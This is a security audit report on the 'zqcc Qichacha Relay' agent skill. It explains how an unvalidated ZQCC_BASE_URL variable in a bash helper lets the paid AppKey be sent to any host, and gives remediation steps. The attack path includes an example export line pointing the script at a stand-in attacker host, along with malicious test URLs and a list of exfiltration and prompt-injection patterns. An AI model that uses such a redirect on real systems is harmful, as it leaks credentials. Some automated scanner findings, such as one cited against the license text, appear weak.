zqcc Qichacha Relay

• Outcome: Review
• Latest audit: Sep 16, 2026 · 10:31 AM UTC
• Version: 1.0.0

Overview

The skill mostly matches its stated enterprise-data purpose, but its helper script can send the paid AppKey to an arbitrary base URL if that environment variable is changed.

Review before installing. Use this only if you intend to send company, executive, and related query data to zqcc and pay for successful calls. Keep ZQCC_APP_KEY out of prompts, logs, and source files, and do not set ZQCC_BASE_URL unless you fully trust the destination; ideally the publisher should validate or remove that override before broad use.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/zqcc.sh:4

Finding

Unrestricted API Base URL Override Can Disclose the AppKey

Content

View full analysis

Vulnerability Details

File Location: scripts/zqcc.sh:4-6, 30-40
Vulnerability Type: Unvalidated destination for credential-bearing requests
Risk Level: Medium

Vulnerable Code

bash

base_url="${ZQCC_BASE_URL:-https://zqcc.mkstone.club}"
mcp_url="${base_url%/}/mcp/stream"
chat_url="${base_url%/}/api/v1/chat"

bash

post_json() {
  local url="$1"
  local body="$2"

  curl --fail-with-body --silent --show-error \
    --connect-timeout 15 \
    --max-time 300 \
    -X POST "$url" \
    -H "Authorization: Bearer ${ZQCC_APP_KEY}" \
    -H 'Content-Type: application/json' \
    --data "$body"
}

Technical Analysis

The script derives authenticated API endpoints directly from the user-controlled ZQCC_BASE_URL environment variable. It does not parse or validate the URL, require HTTPS, or restrict the destination to the documented zqcc host.

The post_json function then unconditionally attaches the paid-service AppKey as a bearer credential to requests sent to the derived URL. Consequently, any process or configuration capable of influencing ZQCC_BASE_URL can redirect authenticated commands to an arbitrary HTTP or HTTPS server.

This behavior also conflicts with the security rule in SKILL.md:105, which states that ZQCC_APP_KEY must not be sent anywhere except the zqcc HTTPS origin.

Attack Path

1. An attacker influences the user's environment, shell profile, CI configuration, wrapper script, or copied setup instructions.

2. The attacker sets an arbitrary destination, for example:

   bash

   export ZQCC_BASE_URL='https://attacker.example'
   

3. The user invokes an authenticated operation:

   bash

   ./scripts/zqcc.sh tools-list
   

4. The script constructs https://attacker.example/mcp/stream.

5. post_json sends the following header to the attacker-controlled server:

   text

   Authorization: Bearer <ZQCC_APP_KEY>
   

...[truncated 771 chars]

Remediation

View remediation

Remediation Suggestions

1. Remove ZQCC_BASE_URL support if alternate service origins are not operationally necessary.
2. If configurability is required, parse the URL and enforce an exact allowlist:
   • Scheme must be https.
   • Host must be exactly zqcc.mkstone.club.
   • Reject embedded credentials, unexpected ports, fragments, and alternate hosts.
3. Never attach the Authorization header unless the validated request origin matches the approved HTTPS origin.
4. Fail closed with a clear error when validation fails.
5. If development endpoints are required, use a separate explicitly named development credential and require an opt-in flag rather than silently reusing the production AppKey.
6. Add automated tests covering malicious values such as:
   • http://zqcc.mkstone.club
   • https://attacker.example
   • https://zqcc.mkstone.club.attacker.example
   • https://[e-mail]
7. Update the documentation so configuration guidance and executable behavior consistently enforce the rule that the AppKey is sent only to the approved zqcc HTTPS origin.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access

Findings (6)

Undeclared Tool Scope

Medium

• Category: MCP Least Privilege
• Confidence: 86% confidence

Finding

The skill explicitly relies on shell execution via local scripts and external binaries (curl, jq) but does not declare any tool scope or allowed-tools boundary. That weakens least-privilege controls and can let an agent invoke broader shell capabilities than necessary, increasing the risk of command misuse, unintended file/system access, or unsafe composition with untrusted user input.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 86% confidence

Finding

This markdown file presents the tool capabilities almost entirely in Chinese while the surrounding instructions are in English, and it does not state that the catalog is intentionally China-specific or provide an opt-in language choice. That creates a natural-language locale policy concern because the skill effectively forces one language for core capability descriptions without user selection or justification.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 70% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/zqcc.sh (reported line 34)May include surrounding context.

sh

local url="$1"
  local body="$2"

  curl --fail-with-body --silent --show-error \
    --connect-timeout 15 \
    --max-time 300 \
    -X POST "$url" \

Scope Creep

Low

• Category: Excessive Agency
• Confidence: 70% confidence

Finding

Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.

Content

Scanner excerpt · LICENSE (reported line 12)May include surrounding context.

text

permit persons to whom the Software is furnished to do so.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE

Natural-Language Policy Violations

Low

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

The manifest names this as an "English edition" and the description presents it as the English variant without offering a language choice. This is a natural-language locale constraint that could conflict with a policy requiring user language preference or opt-in.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 79% confidence

Finding

This markdown file documents that the server retains bounded recent history for chat requests, which affects user data/privacy behavior. While the file is technically accurate, it does not present this retention as a user-facing warning or caution despite documenting a behavior that may matter for privacy-sensitive use.

Content

No source excerpt is available for this finding.